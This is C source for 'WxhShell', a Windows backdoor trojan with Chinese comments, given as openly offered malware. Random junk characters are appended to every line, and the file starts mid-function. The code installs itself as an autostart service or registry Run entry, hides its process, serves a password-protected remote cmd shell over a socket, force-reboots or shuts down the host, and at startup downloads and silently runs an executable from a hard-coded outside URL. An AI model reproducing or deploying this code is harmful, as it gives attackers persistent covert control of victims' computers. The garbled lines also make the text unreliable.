    closesocket(wsh); JTB5#S4W  
    ExitThread(0); }L*cP;m#  
    } KHXnB  
    break; pG:)u cj  
    } K3t^y`z  
  // 关机 r7p>`>_Q\  
  case 'd': { M3 $MgsN:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @;z}Hk0A  
    if(Boot(SHUTDOWN)) 'GcZxF0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RpY#_\^hI  
    else { _u`W$EG L  
    closesocket(wsh); tMy@'nj  
    ExitThread(0); $eBE pN  
    } 7gQ~"Q  
    break; I^6zUVH  
    } Q}jl1dIq  
  // 获取shell /c1FFkq|K  
  case 's': { wA}+E)x/C  
    CmdShell(wsh); c8jq.y v  
    closesocket(wsh); u5FlT3hY.  
    ExitThread(0); = 8%+$vX  
    break; bx<7@  
  } /P|jHK|{  
  // 退出 FeFH_  
  case 'x': { #VEHyz6P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I2'UC) 0  
    CloseIt(wsh); _sCpyu  
    break; %fz!'C_4  
    } SSF4P&  
  // 离开 *l^%7W rk  
  case 'q': { 4<&`\<jZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qcfLA~y  
    closesocket(wsh); _ #+~#U%5n  
    WSACleanup(); up7]Yy;o=  
    exit(1); L1k_AC1.M  
    break; <[7.+{qfW  
        } f"5vpU^5*  
  } ?79ABm a  
  } Tce2]"^;  
`D%bZ%25c  
  // 提示信息 lU.@! rGbw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U{o0Posg  
} Hd)4_ uBt  
  } dLm~]V3  
=6TD3k6(2  
  return; OPwj*b:-m  
} ( Qw"^lE3  
dg1h<]T"9  
// shell模块句柄 .Eg>)  
int CmdShell(SOCKET sock) @vaK-&|#$  
{ 3B|o   
STARTUPINFO si; T!)v9L  
ZeroMemory(&si,sizeof(si)); `:A`%Fg8<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eJ#q! <   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ``}EbOMG  
PROCESS_INFORMATION ProcessInfo; 8:,l+[\  
char cmdline[]="cmd"; LEkO#F(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m>'sM1s  
  return 0; fgP_NYfOj  
} tq^H)  
b^\u P  
// 自身启动模式   Hs8c%C  
int StartFromService(void) |}\et ecB  
{ ,!3G  
typedef struct >T4.mB7+>  
{ :d-+Z%Y  
  DWORD ExitStatus; "el}@  
  DWORD PebBaseAddress; TCFx+*fBd  
  DWORD AffinityMask; 8hi|F\$_h  
  DWORD BasePriority; oxb#{o9G  
  ULONG UniqueProcessId; B&yb%`9],W  
  ULONG InheritedFromUniqueProcessId; ;X! sTs  
}   PROCESS_BASIC_INFORMATION; ]-& ehW  
.3&zP  
PROCNTQSIP NtQueryInformationProcess; (yCF pb  
#|34(ML  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;z>)&F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hX]vZR&R  
`bffw:; %  
  HANDLE             hProcess; =$IjN v(?  
  PROCESS_BASIC_INFORMATION pbi; 40oRO0p  
-Vk+zEht  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nqt;Ge M  
  if(NULL == hInst ) return 0; &V[m{.  
2*5Z| 3aX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~w'M8(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t+5JIQY>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RJ1 Q.o  
-1~bWRYq  
  if (!NtQueryInformationProcess) return 0; Mjrl KI}f/  
$z]gy]F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cw`v\ 9  
  if(!hProcess) return 0; E3y"  
g&H6~ +\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `6b!W0$ -  
T"XP`gk  
  CloseHandle(hProcess); G_g~-[O  
S\ ~Wpf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U&|=dH]-  
if(hProcess==NULL) return 0; GM{m(Y  
$cFanra  
HMODULE hMod; jAmAT /1  
char procName[255]; PWOV~ `^;  
unsigned long cbNeeded; z1?7}9~`0c  
6';'pHqe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )%U&z>^P  
9Nglt3J[  
  CloseHandle(hProcess); <1Vz QH!o  
1_THBL26d  
if(strstr(procName,"services")) return 1; // 以服务启动 %< JjftNQ  
P7(+{d{  
  return 0; // 注册表启动 JGp~A#H&  
} %zyO}  
_* ]~MQ=  
// 主模块 n3-u.Fb  
int StartWxhshell(LPSTR lpCmdLine) PBb@J'b  
{ >n)N=Zyu  
  SOCKET wsl; V4}9f5FR  
BOOL val=TRUE; HjV3PFg  
  int port=0; -4o6 OkK<  
  struct sockaddr_in door; .OVIQxf  
nM1U=Du  
  if(wscfg.ws_autoins) Install(); BDyOX6  
q 4PRc<\^  
port=atoi(lpCmdLine); hVI $r  
Y(ly0U}  
if(port<=0) port=wscfg.ws_port; r>sk@[4h  
f7}/ {}g  
  WSADATA data; Z}TuVE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <P7f\$o~  
&C<B=T"I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |_8- 3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,2/qQD n/  
  door.sin_family = AF_INET; 6$w)"Rq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0n|op:]BHM  
  door.sin_port = htons(port); FJgr=9>  
&Jv j@,>$d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wX" 6 S:  
closesocket(wsl); 5zX;/n~  
return 1; 8*I43Jtlf,  
} ?h"+q8&  
as- Z)h[B  
  if(listen(wsl,2) == INVALID_SOCKET) { &!vJ3:  
closesocket(wsl); :bFmw dX  
return 1; abUvU26t  
} 0#KDvCBJ  
  Wxhshell(wsl); J5}-5sV^  
  WSACleanup(); C] qY  
|S|0'C*  
return 0; ~T9%%W[  
hV])\t=yf  
} G0Smss=K  
ngj=w;7~+  
// 以NT服务方式启动 I4ZL +a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N\1!)b  
{ n;)!N  
DWORD   status = 0; | Uf6k`  
  DWORD   specificError = 0xfffffff; v-J*PB.0p  
9%j_"+<c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N&U=5c`Q'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i)g=Lew  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mK5<;$  
  serviceStatus.dwWin32ExitCode     = 0; \B8tGog  
  serviceStatus.dwServiceSpecificExitCode = 0; nV ko]y  
  serviceStatus.dwCheckPoint       = 0; KlDW'R $  
  serviceStatus.dwWaitHint       = 0; r4k =i4  
uOc :^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `Lb^!6`)  
  if (hServiceStatusHandle==0) return; DcE)6z#  
e)LRD&Q  
status = GetLastError(); uA7~`78  
  if (status!=NO_ERROR) \dTX%<5D  
{ lcHw Kd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rlmzbIu I9  
    serviceStatus.dwCheckPoint       = 0; +',[q  
    serviceStatus.dwWaitHint       = 0; E8zga )  
    serviceStatus.dwWin32ExitCode     = status; s3kHNDdC  
    serviceStatus.dwServiceSpecificExitCode = specificError; H%> E6rVB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G1z[v3T  
    return; $Mm=5 K%  
  } l7]:b8  
%>Z^BM<e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l^w=b~|7=  
  serviceStatus.dwCheckPoint       = 0; OF&{mJH"g'  
  serviceStatus.dwWaitHint       = 0; RiqYC3Ka  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :#1{c^i%3  
} z$$ E7i  
>Lx,<sE  
// 处理NT服务事件,比如:启动、停止 q  9lz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IL`X}=L_  
{ G?CaCleG  
switch(fdwControl) q,3_)ZOq  
{ |9T3" _MmJ  
case SERVICE_CONTROL_STOP: nfET;:{  
  serviceStatus.dwWin32ExitCode = 0; KWbnSL8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?pn<lW8d  
  serviceStatus.dwCheckPoint   = 0; D*BZp0x  
  serviceStatus.dwWaitHint     = 0; .|iMKRq  
  { iZ % KHqG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Vd"k;:X  
  } Rd@34"O  
  return; kIhP 73M  
case SERVICE_CONTROL_PAUSE: GOuBNaU {  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U>?q|(u  
  break; }kzGuNj  
case SERVICE_CONTROL_CONTINUE: 9W88_rE'e}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ".A+'pJ  
  break; yoiKt; S  
case SERVICE_CONTROL_INTERROGATE: 0YK`wuZGS  
  break; =NLsT.aa  
}; gcDo o2RE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5S`_q&  
} XG FjqZr`  
oU`8\ n](  
// 标准应用程序主函数 <"F\&M`G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @zo}#.g  
{ wZB:7E%  
2(M^8Bl  
// 获取操作系统版本 S`g:z b_  
OsIsNt=GetOsVer(); 5Z"IM8?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G<n(\85X  
A2>rS   
  // 从命令行安装 4j^-n_T  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4.il4Qqy}i  
X^;[X~g  
  // 下载执行文件 U$jw8I'.  
if(wscfg.ws_downexe) { D#Qfa!=g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) afrU>#+"  
  WinExec(wscfg.ws_filenam,SW_HIDE); Bu|U z0Y  
} eD5:0;X2  
,p2BB"^_i  
if(!OsIsNt) { #yz5CWu  
// 如果时win9x,隐藏进程并且设置为注册表启动 W <.h@Rz+  
HideProc(); C><]o  
StartWxhshell(lpCmdLine); .,Q j3  
} aDEz |>q  
else >SRUC  
  if(StartFromService()) Tk~RT<\Ab+  
  // 以服务方式启动 5@l[!Jl0k  
  StartServiceCtrlDispatcher(DispatchTable); XRoMD6qf;  
else GVS-_KP\  
  // 普通方式启动 ZccQ{$0H  
  StartWxhshell(lpCmdLine); ?^y%UIzf  
N6K%Wkz  
return 0; X 'D~#r  
} "9F]Wv/  
&q~**^;'  
}#0MJ6L  
8/q6vk><  
=========================================== j7r!N^  
$p_FrN{  
[4qCW{x._  
Xc)V;1  
%f??O|O3  
h M{&if  
" ~{69&T}9  
Arvxl(R\4  
#include <stdio.h> 5W hR |  
#include <string.h> rb8c^u#r  
#include <windows.h> ]MI> "hn  
#include <winsock2.h> &?+vHE}  
#include <winsvc.h> ifA=qn0=}  
#include <urlmon.h> fpMnA  
&qR1fbw"  
#pragma comment (lib, "Ws2_32.lib") ]LGp3)T-  
#pragma comment (lib, "urlmon.lib") lIR0jgP@z  
Hgu:*iYA  
#define MAX_USER   100 // 最大客户端连接数 H<tk/\C  
#define BUF_SOCK   200 // sock buffer <eWGvIEP[  
#define KEY_BUFF   255 // 输入 buffer $xx5+A%,  
38Rod]\E  
#define REBOOT     0   // 重启 >R|*FYam  
#define SHUTDOWN   1   // 关机 /JP]5M)   
f1eY2UtWQ  
#define DEF_PORT   5000 // 监听端口 JtB"Dh  
D@]gc&JN[  
#define REG_LEN     16   // 注册表键长度 +a'QHtg  
#define SVC_LEN     80   // NT服务名长度 D+$k  
kk`BwRh)d;  
// 从dll定义API ,$;g'z!N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m]g"]U:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oECM1'=Bf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aFkxR\x 6%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *7 L*:g  
/ D9FjOP  
// wxhshell配置信息 Rg:3}T`~n  
struct WSCFG { XBJ9"G5  
  int ws_port;         // 监听端口 R<r"jOd]  
  char ws_passstr[REG_LEN]; // 口令 L,@O OBD  
  int ws_autoins;       // 安装标记, 1=yes 0=no c k~gB  
  char ws_regname[REG_LEN]; // 注册表键名 >)Ih[0~M  
  char ws_svcname[REG_LEN]; // 服务名 XTIRY4{ d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lHYu-}TNP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R'E8>ee; ^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y~RZf /`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7V/yU5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7e,<$PH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #xWC(*Ggp  
$Cu/!GA4.>  
}; + n1jP<[<N  
^iaeY jI  
// default Wxhshell configuration vBUl6EmWu  
struct WSCFG wscfg={DEF_PORT, xx}R6VKU.  
    "xuhuanlingzhe", )p.+39]{2  
    1, >M` swEj  
    "Wxhshell", Kd_WN;l  
    "Wxhshell", ^V^In-[!y:  
            "WxhShell Service", =hV-E D  
    "Wrsky Windows CmdShell Service", V/j]UK0$  
    "Please Input Your Password: ", a S- rng  
  1, 0Sz&Oguv  
  "http://www.wrsky.com/wxhshell.exe", +uPN+CgQ@  
  "Wxhshell.exe" Z_%}pe39B  
    }; DSwF }  
?FRR";  
// 消息定义模块 Y^dVNC3vd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q*TxjE7K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D3^[OHi~a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h;vD"!gP  
char *msg_ws_ext="\n\rExit."; ? Azpb}#  
char *msg_ws_end="\n\rQuit."; (vIrXF5Dnj  
char *msg_ws_boot="\n\rReboot..."; I3Sl>e(Z  
char *msg_ws_poff="\n\rShutdown...";  1fbd/-h  
char *msg_ws_down="\n\rSave to "; fgxsC7P$  
4'BzW Z;_a  
char *msg_ws_err="\n\rErr!"; `R@24 )  
char *msg_ws_ok="\n\rOK!"; lY}mrb  
;F&wGe  
char ExeFile[MAX_PATH]; kO<`RHlX=  
int nUser = 0; mRCgKW<  
HANDLE handles[MAX_USER]; R|Ft@]  
int OsIsNt; =#XsY,r  
nf< <]iHf  
SERVICE_STATUS       serviceStatus; TJtW?c7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @S~'m;  
}iy`Ko+B"b  
// 函数声明 $ql-"BB  
int Install(void); _ED1".&#f  
int Uninstall(void); (.,E6H|zI  
int DownloadFile(char *sURL, SOCKET wsh); }nE#0n  
int Boot(int flag); )Jx!VJ^Y  
void HideProc(void); @ ADY?  
int GetOsVer(void); u)P$xkf  
int Wxhshell(SOCKET wsl); 3&*0n^g  
void TalkWithClient(void *cs); |Y<ca   
int CmdShell(SOCKET sock); ^F*)Jq  
int StartFromService(void); F~d !Ub$>  
int StartWxhshell(LPSTR lpCmdLine); Zn3iLAPBX  
QnxkD)f*0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gb:Cc,F,%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K/[v>(<  
4~a0   
// 数据结构和表定义 Pyi PhOJe  
SERVICE_TABLE_ENTRY DispatchTable[] = *9^CgLF  
{ f/)3b`$Wu  
{wscfg.ws_svcname, NTServiceMain}, Pi?*rr5WZ  
{NULL, NULL} KGUpXMd^Z  
}; c : *wev  
dh/:H/k kR  
// 自我安装 Kw'Dzz%kN  
int Install(void) ?HIc=  
{ eEsEW<su  
  char svExeFile[MAX_PATH]; F dv&kK!  
  HKEY key; nGW wXySq  
  strcpy(svExeFile,ExeFile); if5Y!Tx?G  
5*buRYck0  
// 如果是win9x系统,修改注册表设为自启动 oW]&]*>J  
if(!OsIsNt) { =Ak>2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v85&s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :&)RK~1m_  
  RegCloseKey(key); !W$3p'8Tu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K=sQ_j.&Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9r1pdG_C@  
  RegCloseKey(key); E08AZOY&g  
  return 0; B4R,[WE"  
    } j~DoMP5Ls  
  } pq5)Ug  
} e;3$7$n Pv  
else { Lu:!vTRmw  
q\#3G  
// 如果是NT以上系统,安装为系统服务 @=wAk5[IN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 54F([w  
if (schSCManager!=0) 8zj09T[  
{ l^`!:BOtR  
  SC_HANDLE schService = CreateService Wr)% C  
  ( >mF`XbS  
  schSCManager, 8KWT d  
  wscfg.ws_svcname, `?JrC3  
  wscfg.ws_svcdisp, #<'/s qL  
  SERVICE_ALL_ACCESS, N83RsL "}_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N#.IpY'7Ze  
  SERVICE_AUTO_START, `ss]\46>  
  SERVICE_ERROR_NORMAL,  NkO$ M  
  svExeFile, (f#W:]o/  
  NULL, LO"HwN43h  
  NULL, bf;IJ|v^  
  NULL, 4kXx(FE  
  NULL, 1Y9Ye?~jd  
  NULL >Dtw^1i  
  ); zm8m J2s  
  if (schService!=0) %aw/Y5  
  { tDN-I5q  
  CloseServiceHandle(schService); !y] Y'j  
  CloseServiceHandle(schSCManager); ZQBo|8*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uaDU+y wL  
  strcat(svExeFile,wscfg.ws_svcname); 6l_8Q w*5I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l3g6y 9;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 30H:x@='9  
  RegCloseKey(key); dN*<dz+4r  
  return 0; +}+hTY$a  
    } WZ&#O#(eO`  
  } r LfS9H  
  CloseServiceHandle(schSCManager); Fah}#,  
} "\_}"0 H  
} M.OWw#?p:_  
5 h{Hf]A  
return 1; |e< U%v  
} It_yh #s  
t*}<v@,  
// 自我卸载 8=nm`7(]  
int Uninstall(void) }p- %~ Y  
{ 5Rec}H  
  HKEY key; RmNF]"3%  
^d=Z/d[  
if(!OsIsNt) { {Zseu$c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,}2j Fb9z4  
  RegDeleteValue(key,wscfg.ws_regname);  %ANPv=  
  RegCloseKey(key); r*p%e\ 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NX=dx&i>+  
  RegDeleteValue(key,wscfg.ws_regname); b&_p"8)_  
  RegCloseKey(key); O3BU.X1'%  
  return 0; t o?"{  
  } hXr vb[6  
} pP/o2  
} }bnkTC  
else { X r)d;@yi  
pH~JPNng  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T8m%_U#b  
if (schSCManager!=0) ZRQPOy  
{ !CMN/=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |y=gp  
  if (schService!=0) x< 3vA|o  
  { Rw\DJJrz  
  if(DeleteService(schService)!=0) { ud#8`/!mq  
  CloseServiceHandle(schService); mE7Jv)@  
  CloseServiceHandle(schSCManager); aEM#V  
  return 0; &GZR-/  
  } O~Fk0}-  
  CloseServiceHandle(schService); :YI>AaYWDO  
  } 9(PFd%  
  CloseServiceHandle(schSCManager); 7r;A wa  
} #62ww-E~  
} p-6.:y  
iLI]aZ   
return 1;  nm~  
} J~Ph)|AiS  
H5%I?ZXw4  
// 从指定url下载文件 Qv=Z  
int DownloadFile(char *sURL, SOCKET wsh) _k@l-Bj  
{ d!X?R}  
  HRESULT hr; ]s S oIT  
char seps[]= "/"; 2M1mdkP3  
char *token; ZT8j9zs  
char *file; Oxvw`a#  
char myURL[MAX_PATH]; A&7jE:Ew  
char myFILE[MAX_PATH]; ?d0Dfqh_  
:)yM9^<D  
strcpy(myURL,sURL); ^KF'/9S  
  token=strtok(myURL,seps); S\rfR N  
  while(token!=NULL) ;lEiOF+d  
  { +=8Po'E^!d  
    file=token; Smu x&e  
  token=strtok(NULL,seps); ~zX5}U<R  
  } bDNd m-  
)gLasR.1  
GetCurrentDirectory(MAX_PATH,myFILE); Yt'o#"R)  
strcat(myFILE, "\\"); sg2C_]i,H  
strcat(myFILE, file); &ivIv[LV  
  send(wsh,myFILE,strlen(myFILE),0); y$"L`*W  
send(wsh,"...",3,0); N{yZk"fq:6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qprOxP r  
  if(hr==S_OK) 8UcT? Zp  
return 0; {ULnQ 6@  
else Fo=6A[J  
return 1; ]rm=F]W/n  
# 0 (\s@r.  
} }>:X|4]  
TK>}$.c%+  
// 系统电源模块 2fk   
int Boot(int flag) T{M:)}V  
{ F&~vD  
  HANDLE hToken; pp`U]Q5"gX  
  TOKEN_PRIVILEGES tkp; *~L]n4-  
t*#&y:RG  
  if(OsIsNt) { I$LO0avvH2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jY.%~Y1y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e- CW4x  
    tkp.PrivilegeCount = 1; zE/(F;> FV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J"MJVMo$T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZIl<y{  
if(flag==REBOOT) {  gk#rA/x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?rDwYG(u]@  
  return 0; a40BisrD~6  
} >KFJ1}b|3  
else { "LWuN>   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dp70sA!JF  
  return 0; }+J@;:  
} k#&SWp=  
  } .#J3UZ  
  else { co80M;4  
if(flag==REBOOT) { : \OvVS/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~dLZ[6Z  
  return 0; 1aG}-:$t'  
} ZM?r1Z4  
else { }"Cn kg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v],DBw9  
  return 0; 6zWvd  
} WXU6 J?tIm  
} 6f!mk:\T.  
"tARJW  
return 1; L />GYx  
} m~eWQ_a]C@  
h6N}sLM{0  
// win9x进程隐藏模块 "-?Y UY`  
void HideProc(void) z-G (!]:  
{ am3E7u/  
A~V\r<N j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '[^2uQc  
  if ( hKernel != NULL ) Q ^rW^d  
  { }C1wfZ~F~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K;y\ &'E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?g4|EV-56  
    FreeLibrary(hKernel); >JOvg*a?"  
  } uyj*v]AE'  
}0RFo96) v  
return; rg}kxvu  
} a6E"  
qS|VUy4  
// 获取操作系统版本 gj^]}6-P  
int GetOsVer(void) NN'<-0~  
{ $"{3i8$3mT  
  OSVERSIONINFO winfo; f:5/y^M&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,?6m"ov4(  
  GetVersionEx(&winfo); iGk{8Da<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {B.]w9  
  return 1; y3]"H(  
  else %ko 8P  
  return 0; mU$7_7V~  
} vKC&Qi ;  
HPKyAcS\  
// 客户端句柄模块 vq7%SEkES  
int Wxhshell(SOCKET wsl) 7F:;3c  
{ 3+5\xRq  
  SOCKET wsh; i%8&g2  
  struct sockaddr_in client; qL.Y_,[[  
  DWORD myID; U(4_X[qD  
KBe {  
  while(nUser<MAX_USER) ! hr@{CD  
{ (Nb1R"J `  
  int nSize=sizeof(client); >L`mF_WG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x{V>(d'p  
  if(wsh==INVALID_SOCKET) return 1; |7x^@i9w  
[frD L)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R}9jgB  
if(handles[nUser]==0) 2z# @:Q  
  closesocket(wsh); /exl9Ilt]  
else 2(/ /slP  
  nUser++; $yFuaqG`Wo  
  } KocXSh U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {WOfT6y+  
^3o8F  
  return 0; [F[<2{FQF  
} }zxh:"#K  
5)NBM7h  
// 关闭 socket "mDrJTWa  
void CloseIt(SOCKET wsh) L6=RD<~C  
{ D D;+& fe  
closesocket(wsh); f+Li'?  
nUser--; C*e[CP@u  
ExitThread(0); +STzG /9#  
} D@W3;T^  
=e-aZ0P  
// 客户端请求句柄 x>" JWD  
void TalkWithClient(void *cs) TbAdTmW  
{ XPo'iI-  
 .OS?^\  
  SOCKET wsh=(SOCKET)cs; )}\@BtcjA]  
  char pwd[SVC_LEN]; )ZyuF(C&  
  char cmd[KEY_BUFF]; !>Y\&zA  
char chr[1]; ]mo<qWRc>p  
int i,j;  Rha3  
c$:=d4t5$  
  while (nUser < MAX_USER) { Nw& }qSN  
W(lKR_pF  
if(wscfg.ws_passstr) { oe|<xWu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qgsE7 ]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "d>g)rvOc  
  //ZeroMemory(pwd,KEY_BUFF); DLVs>?Y  
      i=0; [HiTR!o*  
  while(i<SVC_LEN) { <?7,`P:h[  
||ZufFO  
  // 设置超时 V^/^OR4k  
  fd_set FdRead; gJ8 c]2c  
  struct timeval TimeOut; D)7$M]d%  
  FD_ZERO(&FdRead); 0QH3,Ps1C  
  FD_SET(wsh,&FdRead); L8xprHgL  
  TimeOut.tv_sec=8; Zi@+T  
  TimeOut.tv_usec=0; 02#Iip3t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L{%a4 Ip  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C|;Mhe'r=  
FDs^S)B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jTUf4&b-  
  pwd=chr[0]; $RNUr \9A  
  if(chr[0]==0xd || chr[0]==0xa) { 4yZ+,hqJ<9  
  pwd=0; l%U_iqL&  
  break; %R*vSRG/U  
  } 9Y@?xn.\  
  i++; lF"(|n"R  
    } ~nc([%!=  
{2gd4[:  
  // 如果是非法用户,关闭 socket -Dq:Y,%q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q;0&idYC  
} 9f%y)[ \  
(s@tU>4U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ! }?jCpp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RHl=$Hm.%  
v;}`?@G  
while(1) { [xp,&  
!5SQN5K  
  ZeroMemory(cmd,KEY_BUFF); )Z]y.W)  
DcR}pQ(e  
      // 自动支持客户端 telnet标准   S{(p<%)[  
  j=0; q(tG bhQ  
  while(j<KEY_BUFF) { b hr E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?(ls<&s{w  
  cmd[j]=chr[0]; 8u5 'g1M  
  if(chr[0]==0xa || chr[0]==0xd) { ,\9mAt1O  
  cmd[j]=0; e=jT]i*cU  
  break; eQax ZMU  
  } LSu^#B  
  j++; :Ip:sRz  
    } jM1%6  
1LId_vJtJ  
  // 下载文件 m_Ac/ct f  
  if(strstr(cmd,"http://")) { Ao,!z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [+MX$y  
